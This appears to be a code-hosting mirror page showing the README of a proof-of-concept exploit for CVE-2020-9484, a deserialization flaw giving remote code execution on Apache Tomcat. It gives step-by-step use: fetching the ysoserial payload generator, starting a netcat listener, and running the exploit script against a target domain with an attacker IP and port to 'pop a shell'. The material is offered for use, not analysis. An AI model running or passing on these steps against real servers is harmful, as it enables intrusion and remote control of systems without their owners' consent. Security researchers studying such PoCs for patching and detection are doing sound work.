CVE-2020-9484

KO | EN

gitlite — search

#python #java #python3 #arduino #golang #machine-learning #rust #html #flask #javascript #seismology #nodejs

★ 13 Open GitHub ↗

POC for CVE-2020-9484

// repository documentation

Was this content helpful?

★ 0 (0 ratings)

# CVE-2020-9484
POC for CVE-2020-9484

 <a href="https://github.com/VICXOR/CVE-2020-9484">
 <img src="https://i.imgur.com/xJDK1kL.png" alt="Logo" width="120" height="80">
 </a>

Apache Tomcat RCE by deserialization (CVE-2020-9484) 
 
 <a href="https://github.com/VICXOR/CVE-2020-9484/blob/master/README.md">Explore the docs »</a>

## Getting Started

1. Clone this repository, then you will be able to use CVE-2020-9484 and modify the source code if needed. 
2. Download <a href="https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar">ysoserial jar</a> 
3. place both CVE-2020-9484 and ysoserial.jar in the same directory 
4. pop a shell!

## Usage

A simple bash script has been written in order to streamline the usage of CVE-2020-9484.
 
 Upon Exploitation you will need to have a netcat listener ready
 
```sh
nc -lvnp $port
```

```sh
./CVE-2020-9484.sh domain attacker-ip attacker-port
```
 

<img src="https://i.imgur.com/hnYe1ku.gif" alt="CVE-2020-9484">

CVE-2020-9484

Explore Similar Repositories

Was this content helpful?

Recent Feedback

Download README